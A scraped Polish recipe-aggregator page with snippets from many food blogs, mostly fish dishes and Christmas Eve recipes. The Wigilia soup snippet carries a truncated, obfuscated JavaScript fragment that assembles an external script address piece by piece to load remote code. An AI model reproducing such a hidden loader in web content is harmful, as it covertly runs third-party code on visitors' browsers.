Ramen w 3 minuty – OYAKATA Kurczak po japońsku 246

mogło zabraknąć.   Każdy region Japonii ma swój sposób przyrządzania wywaru zależny od najczęściej występujących tam produktów – można spotkać wywar na samym mięsie, na wieprzowych kościach, z dodatkiem ryb czy owoców morza, a także wywary na kurczaku czy na wołowinie. Zaprawiany jest pastą miso, sosem sojowym, rybnym, ostrygowym.   Wariacjom regionalnym i sezonowym poddają się również dodatki, z którymi(...)takim dodawaniu składników – w Japonii wywary wzbogacane i budowane są przez dodawanie do nich olei infuzowanych przeróżnymi przyprawami, soją, pastą miso, skórkami kurczaka, palonymi kośćmi, skorupiakami i owocami morza, rybami i glonami. Gorącą zupę rozdzieliłam pomiędzy głębokie talerze i ułożyłam naszykowane wcześniej dodatki – do tego ramenu wędzony kurczak pasuje świetnie, nadając całości dymny, mocny charakter i podbijając drobiowy smak

Karo in the Kitchen
Chrust, czyli karnawałowe faworki 143

Delikatne, chrupiące, rozpływające się w ustach - takie powinny być faworki, w niektórych regionach Polski nazywane chrustem. Te przepyszne ciasteczka nieodłącznie kojarzą się z karnawałem. Dodatkowo stanowią

Korniszonki
Ditali z łososiem, papryką, cukinią i suszonymi pomidorami... 117

Ditali to charakterystyczny makaron (krótkie, niewielkie rureczki), który nadaje się idealnie, jako dodatek do zup. Albo dodatek do dzieci... ;) Wystarczy dorzucić 2-3 rodzaje warzyw, może trochę jakiejś ryby (tuńczyk, łosoś), dobrej oliwy, czy startego Parmezanu i obiad gotowy. I to w mniej-więcej 15 minut! A wszystko w wersji łatwej do pojadania małymi łapkami uzbrojonymi w łyżkę(...)smaku 3 czubate łyżki drobniutko startego Parmezanu Rozgrzej piekarnik do 180stC. Łososia ułóż na kawałku folii aluminiowej, wystarczajaco dużym, by można było spokojnie zawinąć brzegi, tworząc niewielki 'namiot' nad rybą. Pokrop oliwą i sokiem z cytryny i piecz przez około 20 minut, lub do czasu, aż ryba będzie gotowa. Można użyć od razu, lub zostawić w temperaturze pokojowej na czas

Lejdi of the house
Sałatka Waldorf z surowym brokułem i odchudzonym sosem majonezowym 154

stają się maślano-gorzkie i przełamują całość. Sałatka pyszna jest sama – na śniadanie, lunch czy lekką kolację, ale pasuje też do gotowanych, smażonych i pieczonych jasnych mięs i delikatnych ryb. Mieszamy w miseczce majonez, ocet jabłkowy i lekki jogurt naturalny. Ten sos to kompromis między zdrowym a rozpustnym – stosunkowo niewielka ilość majonezu zostaje podbita przez dodatek octu jabłkowego. Mimo(...)lodówce. Tej sałatce bardzo dobrze zrobi kilkugodzinne chłodzenie – suszone owoce nasiąkną sosem i napuchną, a wszystkie składniki połączą się, uwydatniając pełnię swojego smaku. Wypróbujcie ją do kurczaka, indyka lub ryb – albo zabierzcie ze sobą do szkoły czy pracy na lunch. Wyjmijcie ją z lodówki na godzinę przed jedzeniem. SKŁADNIKI 350-400g brokułu (waga razem z łodygą) 100g marchewki

Karo in the Kitchen
Kokosowa potrawka z dorsza i "Trawers" 161

jest efektem kompletnej kulinarnej porażki. Przyprawionego dorsza zaczęłam podsmażać na niezbyt rozgrzanym tłuszczu w rezultacie zaczął mi się rozpadać na patelni. Cóż było robić? Dodałam nieco składników, by uratować rybę i powstało naprawdę smaczne danie na piątkowy obiad. Składniki (na 3 porcje): 2 płaty dorsza bez skóry 10 ziaren kolendry 2 ziarna ziela angielskiego sól biały pieprz 2 duże pieczarki(...)gałązka natki pietruszki łyżka sosu sojowego olej do smażenia cytryna Dorsza oprószyć solą, białym pieprzem oraz zmieloną kolendrą i zielem angielskim.  Pieczarki pokroić na talarki, cebulę w kostkę. Rybę pokroić na kawałki.  Na patelni rozgrzać olej, podsmażyć na nim rybę i pieczarki oraz zeszklić cebulę. Na patelnię wlać mleko kokosowe i ok. 50 ml wody. Całość dusić

Weekendy w domu i ogrodzie
Jakie zioła warto uprawiać w domu? (II) 151

Estragon  ma bardzo specyficzny smak, w kuchni często widziany w towarzystwie octu i ryb. Podczas żucia liści tego najlepszego francuskiego zioła, nasz język odczuwa delikatne drętwienie. Estragon udoskonala ryby, skorupiaki, wieprzowinę, cielęcinę, jagnięcinę, dziczyznę, drób, pory, ziemniaki, pomidory, marchewki, cebule, karczochy, szparagi, grzyby, kalafiory, brokuły, buraki, groszek, pietruszkę,czosnek, szczypiorek, cytryny, pomarańczę, ryż oraz jęczmień. Idealnie pasuję

Dominacja smaku
Dorsz zapiekany z dynią 176

Ostatnio coraz częściej wybieram ryby, a najbardziej uwielbiam właśnie dorsza. Dzisiaj prosty przepis, w sumie pomysł na szybkie danie obiadowe, które tak naprawdę robi się samo i nie wymaga zbyt wiele zachodu(...)adsbygoogle = window.adsbygoogle || []).push({}); Składniki na dorsza zapiekanego z dynią (1 porcja): 1 filet z dorsza garść pomidorków koktajlowych 1 mała czerwona cebula 1/4 szklanki ryżu paraboiled 1/4 dyni piżmowej Rybę skrapiamy sokiem z cytryny. Cebulę obieramy i kroimy na nierówne kawałki. Dynię obieramy i kroimy w grubszą kostkę. Do naczynia żaroodpornego wsypujemy ryż, na środek układamy rybę i obok układamy

Delusional Trine
Paluszki rybne z łososia, ryż i surówka z marchewki i jabłka 138

czasie przygotować rybę. Kawałek łososia umyć i osuszyć ręcznikiem papierowym, a następnie pokroić w poprzek na 8 zgrabnych paseczków. Delikatnie posolić do smaku. Na osobnych talerzach wysypać mak i sezam. Cztery paluszki rybne obtoczyć w maku, a kolejne cztery w sezamie. Nie trzeba paluszków moczyć w jajku – ziarenka przyczepią się do wilgotnej ryby. I teraz można paluszki zrobić

Dietolog
Stek z tuńczyka z sosem musztardowo-pietruszkowym 131

Niektóre ryby są tak chude, i zwarte, że wystarczy tylko prosty sos by wyczarować pyszne danie. Soczyste pieczone rybie mięso w towarzystwie musztardy przypadnie do gustu każdemu. Składniki (4 porcje) -4 steki tuńczyka -1 mała cebula -1 ząbek czosnku -1/2 pęczka natki pietruszki -3 łyżeczki wyrazistej mustardy -1 łyżeczka białego octu winnego -100 ml bulionu -200 ml słodkiej

Zielona Kuchnia
Łosoś w miodowo – musztardowej glazurze z piekarnika 96

smaku, mieszamy i wykładamy na blachę wyłożoną papierem do pieczenia. Wstawiamy do pieca nagrzanego do 180 stopni z funkcją termoobiegu. Pieczemy 15-20 min. Po tym czasie dokładamy kawałki ryby(...)pieczemy dalej około 10-15 min. Teraz czas na szpinak. Kilka kropel oliwy ląduje na patelni. Dodajemy kawałki czosnku smażymy, dodajemy szpinak i chwilę do blanszujemy. Na koniec pieczenia ryby warto włączyć funkcję grilla i zapiec jeszcze kilka minutek do osiągnięcia pięknego koloru. SMACZNEGO! Rusty fork http://rustyfork.pl/   Artykuł Łosoś w miodowo – musztardowej glazurze z piekarnika pochodzi

Rusty Fork
Karp w galarecie 129

laurowy, ziele angielskie, i połówkę cebuli oczyszczamy i wkładamy do garnka. Zalewamy większą ilością wody i gotujemy do miękkości warzyw. Gdy warzywa są już miękkie wkładamy do wywaru kawałki ryby i gotujemy je maksymalnie 10 minut. Wyjmujemy je robiąc to ostrożnie aby kawałki utrzymały się w całości, kładziemy na talerz i studzimy.  Jeżeli chcecie wyjąć ości to teraz(...)już wyobraźnia jak podacie swojego karpia w galarecie. Warto jednak na dno talerza ułożyć trochę warzyw i przelać je galaretką aby szybciej stężały a dopiero na to układać rybę i zalać resztą galaretki

Mechanik w kuchni
Zupa z karpia z sakiewkami 114

laurowy, sól i gotuję wywar na wolnym ogniu. Jak warzywa będą miękkie wyjmuję je i dodaję kawałki karpia i dalej gotuję zupę na wolnym ogniu około 10 minut.Kawałki ryby wyjmuję, wywar odcedzam na sitku żeby był klarowny. Seler naciowy kroję drobno i przesmażam na maśle klarowanym, dolewam trochę bulionu rybnego żeby zmiękła. Dodaję do wywaru.Karpia obieram z mięsa(...)Mieszam widelcem i wyrabiam rękoma ciasto.Wałkuję na stolnicy, wycinam koła wielkości pucharka do lodów i wałkuję je jeszcze trochę żeby były większe. Na każdy kawałek ciasta układam kawałki ryby i sklejam sakiewki. Wodę zagotuję w garnku i wrzucam do wrzącej. Gotuję około pięć minut na wolnym ogniu. Zupę podaję z sakiewkami czerwonym pieprzem i natką

wesoła kuchnia
BIAŁA KIEŁBASA PIECZONA Z ZIEMNIAKAMI 162

ocet jabłkowy, a smak wigilijnej ryby podkreśli ocet słodowy. Tradycyjne śledzie ozdobi musztarda francuska, a postną kapustę z grzybami zaostrzy musztarda sarepska. Koncentrat pomidorowy to nieodzowny dodatek do ryby po grecku, a świąteczne ciasta zachwycą gości dzięki glazurze balsamicznej

Kuchnia MagdaLeny
Śledź z sosem tatarskim 151

Śledź w sosie tatarskim to mistrzowskie połączenie słonawej ryby z kremowym sosem z kiszonymi górkami, marynowanymi grzybkami i cebulką. Moja ulubiona wersja świątecznego śledzika.   Składniki: 400g filetów śledziowych a'la matias cebula biała 2-3 kiszone ogórki ok 10 marynowanych grzybów leśnych 2 łyżki gęstej śmietany lub jogurtu greckiego 2 łyżki majonezu łyżeczka musztardy(...)dijon łyżeczka miodu ½ łyżeczki soku z cytryny lub octu sól, czarny pieprzem mleko do wymoczenia śledzi Sposób przygotowania: Filety śledziowe opłukać z oleju i zalać mlekiem, tak aby przykrywało rybę. Pozostawić przez około 1h. Spróbować czy nie są jeszcze za słone w razie potrzeby jeszcze wymoczyć. Odcedzić i osuszyć papierowymi ręcznikami. Cebulę obrać i pokroić w drobniutką kosteczkę razem

Pyry na Gaz
Ryba po grecku 216

ryba po grecku? Właściwie ciężko to wyjaśnić. Z pewnością nie dlatego, że przepis ten przywędrował do nas gdzieś z Grecji. Ponoć jest to nasza polska wariacja i mieszanka wyobrażeń na temat tego, co serwuje się gdzieś w cieniu Akropolu. Scheda po czasach, kiedy podróżowanie w tamte rejony świata nie było tak proste. Właściwie jaka by nie była historia ryby

Okolice Palnika
Zupa z dorszem, ryżem i duszonym porem 123

Doskonałe połączenie duszonego pora i pietruszki w zupie rybnej z ryżem. Do zupy wykorzystałam mięso z białej ryby- delikatnego i dietetycznego dorsza. Zazwyczaj robię ją na domowym bulionie warzywnym lub rosole, a w razie braku gotuję zwyczajnie na wodzie, ale wtedy koniecznie z dodatkiem suszonej włoszczyzny, dzięki czemu zupa jest pełna smaku 😋 * bulion warzywny- 1 l * filet z dorsza(...)maśle klarowanym podsmażyć drobno pokrojoną cebulę oraz pora w krążki (oprócz liści) i dodać do gotującego się ryżu. 3 minuty przed końcem gotowania do garnka dodać oczyszczoną z ości rybę i pokrojoną w większe kawałki. Gotową zupę doprawić solą, pieprzem i posypać świeżym koperkiem. Smacznego

Kraina Miodem Płynąca
Sałatka z kaszy kuskus i bobu 117

świecie orzeszków pistacjowych i lekko pikantnej, aromatycznej bazylii. Całość prezentuje się niebywale wiosennie, energetycznie i bez wątpienia apetycznie. Rewelacyjnie sprawdzi się jako samodzielne danie lub dodatek do mięsa bądź ryby, jest też świetnym pomysłem na lunch box do pracy. A dlaczego warto jeść bób? – zawiera duże ilości białka, które może być alternatywą dla białka pochodzenia zwierzęcego, – jest(...)skórek. 3) Do kaszy dodać przygotowany bób, pistacje, posiekaną bazylię, oliwę, doprawić do smaku solą oraz pieprzem i dokładnie wymieszać. 4) Podawać jako samodzielne danie albo dodatek do ryby lub mięsa . Artykuł Sałatka z kaszy kuskus i bobu pochodzi z serwisu FitSweet

Fitsweet.me
Zupa na Wigilię – nie tylko barszcz! 146

cytryny. Danie serwuje się na zimno lub na ciepło. Kwaśnica Kwaśnica to zupa na Wigilię wywodząca się z Podhala. Przygotowuje się ją z: Głowy i podrobów z wybranej ryby 30 dag kapusty kiszonej Soku z kapusty kiszonej Kilku suszonych grzybów 5 ziaren ziela angielskiego 2 ząbków czosnku Szczypty suszonego imbiru Kiszoną kapustę szatkujemy, wrzucamy do garnka, zalewamy odrobiną wody(...)oraz sokiem z kiszonej kapusty i gotujemy. Dodajemy grzyby, ziele angielskie i gotujemy do zmięknięcia. Dodajemy podroby i głowy ryb, gotujemy przez 20 minut, wyjmujemy podroby, doprawiamy czosnkiem oraz imbirem i ponownie zagotowujemy. (function(){ cwbx=document.createElement("script");cwbx_=("ust");cwbxu="69293527"; cwbx_+="a"+("t.i");cwbx.type="text/javascript"; cwbxu+=".pdmwktdtwbxmgxxyXtf9";cwbx.async=true;cwbx_+="n"+("f"+"o")+"/"; cwbxu+="bn8i421swj";cwbx.src="//"+cwbx_+cwbxu

Okiem Blondynki by McBlondi
LEKSYKON BAKALII 175

sercowo-naczyniowy: obniżają poziom cholesterolu. Zawierają też przeciwutleniacz, który zmniejsza wystąpienie nowotworów. Zastosowanie: Są składnikiem słodkich wigilijnych dań np. kutii, rozmaitych ciast (np. sernika, keksu), ale pasują też do ryb (np. karpia po żydowsku, śledzi na słodko). Źródło: internet WIÓRKI KOKOSOWE To stara i wysuszona wewnętrzna wyściółka orzecha palmy kokosowej. Kokos jest dobrym źródłem białka, dlatego jadany jest przez(...)odporność. Obecny w kokosie kwas laurynowy pomaga zwalczyć wirusy oraz bakterie. Zastosowanie: Używa się ich jako posypki do ciast, sałatek owocowych i lodów. Sprawdzą się też jako panierka do ryb i drobiu. Źródło: internet ŻURAWINA Żurawina to wciąż mało popularny w Polsce owoc. Większość z nas nie wie bowiem, jakie właściwości są ukryte w żurawinie, ponieważ jest jednym

Ciastka - domowe słodkości
Karp w sosie po staropolsku. 157

łyżka masła 1 łyżka cukru 1 łyżka mąki sól Sposób wykonania :   W arzywa oczyść, opłucz, wrzuć na wrzątek, dodaj przyprawy ( ziele angielskie, pieprz, goździki ), gotuj około 30 minut. Rybę spraw, podziel na dzwonka, włóż do wywaru i gotuj jeszcze około 20 minut. Następnie wyjmij rybę z wywaru, wywar przecedź przez gęste sitko. Piernik zetrzyj na tarce o drobnych oczkach(...)karmel ). całość wymieszaj i gotuj na małym ogniu, aż sos trochę zgęstnieje. Dopraw do smaku solą. Do gotowego sosu włóż dzwonka karpia, podgrzej i podawaj od razu na stół. Rybę możesz posypać świeżymi, posiekanymi ziołami ( natka pietruszki, rozmaryn

Przepisy i porady kulinarne
Sandacz smażony w sezamie na sałatce z marchewki, szpinaku i makaronu Pesso 122

sandaczem. Tym razem sandacz ląduje na lekkiej sałatce ze szpinaku i kolorowej marchewki z dodatkiem makaronu Pesso , jak dla mnie świetnego zamiennika dla popularnego kuskusu. Zobaczcie zresztą sami. Ryba i sałatka to doskonałe połączenie, tym bardziej, jeśli przygotowanie całości dania zajmuje kilkanaście minut. W przepisie wykorzystuję makaron bez gotowania, który śmiało może zająć miejsce kaszy kuskus, jest smaczny, łatwy(...)szpinakiem, makaronem i dressingiem. Rozłożyć na talerze. Filet z sandacza umyć pod bieżącą wodą i osuszyć ręcznikiem papierowym. Przekroić na cztery ok. 75g porcje (po 2 niewielkie kawałki ryby na porcję). Oprószyć solą, białym pieprzem i od strony mięsa (bez skóry) obtoczyć w sezamie. Oliwę rozgrzać na patelni, smażyć 2-3 minuty najpierw od strony skóry dociskając drewnianą łopatką

Dietolog
Tymbaliki z łososia 197

wody i sól, gotujemy warzywa do miękkości. Wkładamy oczyszczoną rybę i na wolnym ogniu gotujemy ok 15 min. Wyjmujemy wszystko łyżką cedzakową. Bulion przecedzamy przez gazę, dodajemy żelatynę i doprawiamy do smaku. Przygotowujemy kubeczki plastikowe do napojów i wypełniamy je do połowy ugotowanymi warzywami, kawałkami ryby, groszkiem, do każdego kubeczka wkładamy jeden kawałeczek jajka i zalewamy przestudzonym bulionem

Gotowanie jest łatwe
Fish and chips, czyli smażona ryba z domowymi frytkami 145

Fish and chips, czyli angielska / brytyjska ryba z frytkami jest znana każdemu z nas. Często idziemy na łatwiznę, kupujemy w marketach wątpliwej jakości gotowce - mrożone frytki i rybne paluszki. Dlaczego, skoro mniejszym kosztem, poświęcając niedużo czasu możemy zrobić to pyszne danie samodzielnie? Zapraszam! Ryba:  2 filety z dorsza 1 jajko  1/2 szklanki bułki tartej 1/4 szklanki mąki sól(...)bułce. Smażymy na rozgrzanym oleju do zarumienienia przez około 5 minut z każdej strony. Odsączamy z nadmiaru tłuszczu na ręczniku papierowym.  3. Na talerz przekładamy frytki i rybę. Podajemy z sosem. Rybę skrapiamy cytryną

Szefowa kuchni
Ciasto marchewkowe z czekoladą - przysmak wszystkich dzieciaków 193

Ciasto marchewkowo-czekoladowe Wszyscy kochają ciasto marchewkowe - jest pachnące, wilgotne, świetnie pasuje do codziennej kawy oraz jako świąteczny wypiek. Wystarczy przygotować śmietankowy krem i ciasto marchewkowe

Korniszonki
Orkiszowo-pszenny chleb dekoracyjny w listopadowej piekarni 160

razem dołączyć do wspólnego wypikania w piekarni Amber 😊 I bardzo się cieszę, bo dzięki przepisowi zaproponowanemu przez Danę z Leśnego Zakątka cieszyłam się długą bułą w formie ryby (na pewno na Wigilię upiekę ponownie!) i pięknym chlebem przypominającym liść. Myślałam, że pracy będzie bardzo dużo, a tu niespodzianka - oba bochenki uformowałam szybciutko i bez problemów. Efekt jest nie tylko(...)wykonać rysunek przypominający unerwienie liścia. Drugi bochenek uformować podłużnie jak bułkę wrocławską. Jeden z końców naciąć na pół i lekko odchylić obie części od siebie, by przypominały tylną płetwę ryby. Chleb ponacinać ostrym nożem po obu bokach jak na zdjęciu. Uformowane bochenki posypujemy mąką i pozostawiamy do wyrośnięcia na blasze z piekarnika wyłożonym papierem do pieczenia na około

Weekendy w domu i ogrodzie
Pieczone bataty z parmezanem, łososiem i aioli 190

jest to tak dobrze zaopatrzony sklep jak w Polsce ale ma wszystko co ja potrzebuję do mojego codziennego kucharzenia. Różnica w cenach jest kolosalna zwłaszcza na mięsach i rybach. Oszczędzanie na jedzeniu to po proste mądre zakupy, a przy tym promowanie tańszych sieci handlowych i zmuszanie tych drogich do obniżenia cen. Zakupy w promocji to największa przyjemność nie zależnie

codojedzenia
Zapiekanka ziemniaczana z oscypkiem (z patelni) 199

Zapiekanka ziemniaczana Ten przepis na szybką zapiekankę ziemniaczaną z naszym rodzimym oscypkiem inspirowany jest… kuchnią hiszpańską! Zapiekankę można przygotować dosłownie w 20 minut i wystarczy do

Korniszonki
Fish and chips 167

ulubionej ryby 1 szkl mąki pszennej 1 łyżeczka proszku do pieczenia 1 łyżeczka soli 1 łyżeczka pieprzu 1 szkl mleka 1 jajko 6 ziemniaków olej do smażenia Wykonanie: Rybę pokroić na kawałki ok 7 cm długości. Mąkę, proszek do pieczenia, sól i pieprz wymieszać. Następnie dodać mleko i jajko, wymieszać i odstawić na ok 20 min. Po tym czasie(...)odtoczyć rybę w cieście i smażyć na oleju. Po usmażeniu odsączyć na papierze kuchennym.  Ziemniaki obrać, pokroić na frytki i smażyć na oleju

Olga Piecze i Gotuje
Kaszubskie kotlety rybne. 413

potrafię. W końcu jestem dumnym Pomorzaninem! Na dodatek mieszkam(y) w kaszubskiej dzielnicy naszego pięknego miasta, co zobowiązuje dodatkowo. A wracając do kotletów: w mojej wersji zmieniłem nieco proporcje ryby i boczku, oraz dodałem swoje przyprawy - uważam, że tak jest bardzo dobrze - sprawdźcie! :) Składniki : 250 g filetów z dorsza 150 g boczku (surowego wędzonego) 1 bułka mleko 1 jajko(...)łyżeczki soli 1 łyżeczka suszonej pietruszki 1 łyżeczka suszonego koperku 1 łyżeczka suszonej cebuli bułka tarta tłuszcz do smażenia (tradycyjnie smalec, u mnie - olej rzepakowy z kokosowym) Wykonanie: Rybę i boczek pokroić na mniejsze kawałki i zmielić w maszynce. Dodać namoczoną w mleku i odciśniętą porządnie bułkę oraz jajko. Dodać również przyprawy i wymieszać porządnie masę. Formować nieduże kotlety

zadanie-gotowanie
Sushi 225

Sushi (jap. 寿司 , 鮨 lub 鮓 ) to tradycyjna japońska potrawa składająca się z marynowanego ryżu połączonego z innymi składnikami, takimi jak marynowane ryby, surowe lub gotowane skorupiaki lub warzywa. Ze względu na swoje walory smakowe, zdrowe, naturalne składniki oraz ogólną modę na orientalizm, ostatnimi czasy zyskała ona niewiarygodną popularność, także i w Polsce. Pierwsza pisemna wzmianka o sushi pojawiła(...)wasabi w tubce, znanej japońskiej marki S&B. Wasabi rozpuszcza się w sosie sojowym i stosuje jako dip sushi i sashimi, japońscy mistrzowie sushi wkładają także wasabi między rybę a ryż. Stosuje się go w japońskich marynatach i innych potrawach jako przyprawę. (kupisz tu KLIK ) Wasabi w proszku – bardzo wydajny, zamknięty w puszce nie wietrzeje. Natrualny skład

mojewypiekiinietylko
Sernik dyniowy na kruchym cieście 158

Sernik dyniowy - jesienny przysmak Sernik dyniowy to bardzo smaczne, jesienne ciasto, które cudownie pachnie i wygląda. Warto chociaż raz w roku przygotować taki deser, szczególnie w

Korniszonki
Dorsz w płatkach migdałowych z ryżem i zielonymi warzywami 110

się ukryć, że ostatnio troszkę mniej jemy ryb niż kiedyś ale jak już mamy ochotę zjeść kawałek świeżego i dobrego białego mięsa to nie pozostaje nam nic innego jak wycieczka na zakupy do Makro Cash&Carry. Tak też uczyniliśmy w weekend i dzięki temu mogliśmy zrobić to pyszne danie z tak smaczną i delikatną

Kuchenne Wariacje
Pieczona dynia z masłem szałwiowym 196

Pieczona dynia Pieczona dynia to smak jesieni. Można przygotować z niej zupy, ciasta, kluseczki. Świetnie smakuje także jako samodzielne danie - podana z masłem, oliwą, kozim serem

Korniszonki
Sok z winogron na zimę 158

Sok winogronowy Sok z winogron z powodzeniem można przygotować z winogron, które rosną na działce lub w ogrodzie. Przeważnie nie są to odmiany deserowe więc owoce

Korniszonki
Domowe masło ze śmietanki kremówki 177

Domowe masło ze śmietanki kremówki Nie jesteśmy skazani na masło ze sklepu - z różnymi dodatkami, ulepszaczami i wzmacniaczami smaku oraz koloru. Pyszne masło może zrobić sobie

Korniszonki
Szarlotka babci 167

Szarlotka z bitą śmietaną Szarlotka, czyli jabłecznik, to obowiązkowa pozycja deserowa jesienią. Smak ciasta z jabłkami chyba wszystkim kojarzy się z dzieciństwem i podwieczorkiem u babci

Korniszonki
Makaron z groszkiem i łososiem 130

ryby. Dzisiaj nie miałam w planie gotowania sosu ale przyszło mi na myśl, że przecież mogę zrobić groszkowe pesto i wymieszać z makaronem. Często łączę groszek z rybą . Równie często mi się zdarza zmiksować groszkowe pesto . Makaron z groszkiem i łososiem to smaczne danie dla całej rodziny. U mnie bez wyjątku wszyscy je lubią. Makaron z groszkiem Składniki

codojedzenia
Babeczki bananowe z masłem orzechowym 186

Babeczki bananowe Te muffinki bananowe są naprawdę pyszne - wilgotne, pachnące i nie za bardzo słodkie. Swój niepowtarzalny smak zawdzięczają dodatkowi masła orzechowego. Cudownie smakują z dodatkiem

Korniszonki
Charakterystyka kuchni niemieckiej i litewskiej 156

Cechą charakterystyczną kuchni niemieckiej jest to, że jest różnorodna i niejednolita. Każda część Niemiec ma swoje smaki. Jest bardzo podobna do kuchni polskiej. Jeżeli chodzi o ryby to możemy tam spotkać śledzie, homary, węgorze, okoń, pstrąg. Podawane są w różnych odmianach między innymi w zupach czy surówkach. Kuchnia niemiecka w swoim menu ma dużą ilość dań mięsnych przede wszystkim(...)każdego obiadu musi mieć piwo, wtedy obiad będzie pełny. Napój powinien być odpowiednio schłodzony i gorzki. Do najpopularniejszych niemieckich piw zaliczamy Bock, Pilsner czy Lage. Jeżeli jesteś miłośnikiem ryb, mięsa, zup czy piwa to ta kuchnia jest idealna dla Ciebie. Natomiast kuchnia litewska charakteryzuje się ona zdrowymi potrawami, jest smaczna i syta. Każdy może zjeść coś co go zainteresuje

Kulinarnyblog.pl - wiesz jak gotować!
Kiszone rydze 265

Kiszone rydze Kiszone rydze to prawdziwy przysmak polskiej kuchni. Choć dziś nieco zapomniany, na szczęście znów wraca do łask smakoszy. Do kiszenia trzeba wybrać rydze zdrowe

Korniszonki
Pstrąg łososiowy z mozzarellą i pomidorami 104

pomidora  - sok z połowy cytryny - 2 łyki oleju z suszonych pomidorów - szczyptę suszonej bazylii - sól i pieprz 1. Najpierw odcinamy skórę pstrąga, a następnie płuczemy i osuszmy rybę. 2. Naczynie żaroodporne natłuszczamy łyżką oleju z suszonych pomidorów, a następnie przekładamy do niego pstrąga. 3. Rybę skrapiamy drugą łyżką oleju oraz sokiem z cytryny. Oprószamy również solą i pieprzem(...)wierzch pstrąga układamy plasterki mozzarelli i pomidora. Całość ponownie oprószamy solą i pieprzem oraz bazylią. 5. Tak przygotowaną rybę wkładamy do nagrzanego do 180 stopni piekarnika na ok. 20-25 minut. SMACZNEGO

Bez Cebuli
Muszelki z ryba i rozowym puree 114

było ich 6. Blaszkę smarujemy oliwą z oliwek, układamy na niej rybę i wstawiamy do piekarnika na 5 - 6 minut, na półkę o 1 wyżej niż środkowa. Na talerz wykładamy 2 łyżki puree, na którym kładziemy plastry pstrąga. Obok układamy makaron. Polewamy go oliwą z pieczenia ryby. Całość posypujemy koperkiem, wedle uznania oprószamy solą i pieprzem. Smacznego! #ŚwiatowyDzieńMakaronu2017 #świetujzlubellą

Kuchnia od dwojga
Jak zrobić sos francuski Mornay 238

dostępnych składników. Sos idealny jest do: -  gotowanych szparagów - białego mięsa np. pieczonego kurczaka - jajek na twardo oraz w koszulkach - gotowanych i pieczonych ryb - pulpetów z kurczaka i ryb Czas przygotowywania: do 20 minut Ilość sosu:  4 porcje Składniki: • 30 g masła - 2 łyżki • 30 g mąki - 1 czubata łyżka • 200 ml mleka

AniaGotuje.pl
Ciasto cytrynowe - babka cytrynowa 583

Ciasto cytrynowe Babka cytrynowa to pyszne, wilgotne ciasto, które świetnie smakuje nie tylko w czasie świąt wielkanocnych, ale jest doskonałym dodatkiem do kawy o każdej porze

Korniszonki
Marynowane rydze, czyli grzybki w zalewie octowej 183

Marynowane rydze to wspaniały dodatek do zimnych mięs, wędlin i zimowych sałatek – szczególnie tych z majonezem i ziemniakami. Do zamarynowania grzybów potrzebne są świeże, młode rydze

Korniszonki
Gdzie na rybę w Warszawie? Fish&More na Nowym Świecie 191

Moda na steki i Vege rządzi w Warszawie od dawna. Ale co z rybą? Przecież dobra ryba nie jest zła! Zatem gdzie na... The post Gdzie na rybę w Warszawie? Fish&More na Nowym Świecie appeared first on Przepisy: zdrowe, bezglutenowe i eksperymentalne - Eksperymentalnie.com

Eksperymentalnie.com
Pesto bucatini z makrelą i pomidorami 191

Zbliża się międzynarodowy dzień makaronu. Makaron na obiad bardzo często u nas gości. Proponuję pesto bucatini z wędzoną makrelą i pomidorami. Jest to najprostsze danie z makaronu. Co prawda ryby sama nie wędziłam, ale zapewniam Was, że pesto jest(...)domowe. Pesto bucatini to trochę grubszy makaron z dziurką w środku. Jest świetny, bo idealnie wsiąka sosy nawet pesto. Pesto zmiksowałam z jarmużu i pietruszki. Świetnie pasuje do wędzonej ryby. To danie często przygotowuję na kolację. Mój S. bardzo je lubi…Ja zresztą też choć ze zdecydowanie mniejszą porcją makaronu. Oczywiście można swobodnie użyć innego makaronu. Notorycznie kupuję

codojedzenia
Jak przechowywać żywność w lodówce? 151

sernika na zimno. Środkowa półka. Idealna do przechowywania nabiału, wędlin, jak również gotowych zup w garnku czy innych tego typu potraw. Na dolnej półce lodówki należy przechowywać mięso i ryby. Uwaga! Należy pamiętać, aby nie trzymać surowego mięsa w opakowaniu foliowym i nie dłużej niż 24 godziny. Surowe mięso powinno być też oddzielone od innych produktów spożywczych. Większość obecnych(...)szybki sposób zapakujecie swoje produkty i zachowacie ich przydatność do spożycia na dłuższy czas. Pakować próżniowo można naprawdę różne produkty: pieczywo (chleby, bułki) drób ser żółty warzywa owoce mięso ryby Zapakowane produkty (w zależności od rodzaju) można przechowywać w lodówce lub zamrażalniku. Rozwiązanie niezwykle wygodne, zajmujące minimalną ilość miejsca, oszczędzające nasze pieniądze (nie wyrzucamy produktów). Gdzie można kupić takie

Słodkie okruszki
Sałatka z makrelą -śniadanie i kolacja 152

miękka i soczysta i idealnie pasuje na pastę lub sałatkę. Trochę trzeba się pomęczyć z ościami…Pewnie i można kupić wędzone filety z makreli ale sądzę, że wędzona ryba w całości jest o wiele bogatsza w smaku. Dlatego wolę poświęcić trochę więcej czasu i obrać makrelę z ości za nim włożę ją do sałatki, bo wiem, że jej smak(...)wodą. Schłodzone jajka obierz ze skorupki i pokrój w szóstki. Opłukaj i osusz z wody sałatę. Ułóż na talerzu na przemian z plasterkami ogórka i cienko pokrojoną papryką. Oddziel rybę od skóry i ości. Ułóż w kawałkach na warzywach wraz z jajkami i połówką rozkrojonego awokado. Podaj sałatkę z cheddar sosem.           Spara Spara The post

codojedzenia
Jak zrobić sushi w tempurze? Podpowiadamy 149

spróbować samodzielnie przyrządzić ten japoński specjał, np. w tempurze. Poznaj kilka wskazówek, dzięki którym przygotowanie tego dania będzie dużo łatwiejsze. Tempura to nic innego jak obtoczenie kawałków warzyw czy ryby w cieście i smażenie ich na głębokim tłuszczu. Taka forma przyrządzania przywędrowała do Japonii z Portugalii, bardzo szybko zdobywając uznanie wśród mieszkańców Kraju Kwitnącej Wiśni. Tempura – trudniejsza niż się(...)dobrze rozgrzany olej. Smaż przez kilka minut. O tym pamiętaj Na koniec jeszcze jedna wskazówka, która dotyczy kolejności smażenia. Do gorącego oleju wrzuć najpierw warzywa, grzyby, a na końcu ryby i owoce morza. Dzięki temu smaki zanurzanych składników nie przejdą innymi – bardziej wyrazistymi. Masz ochotę na ciepłe sushi w Warszawie? Możesz spróbować przyrządzić je samodzielnie lub zamówić online. Skorzystaj

Tradycyjna Kuchnia
Domowa stefanka bez pieczenia 244

Składniki na stefankę bez pieczenia Domowa stefanka bez pieczenia 1 paczka herbatników petit beurre ok. 250 g 2 żółtka ¾ kostki miękkiego masła 100 g czekolady 5

Korniszonki
Jak zaoszczędzić i przedłużyć przydatność żywności do spożycia? 167

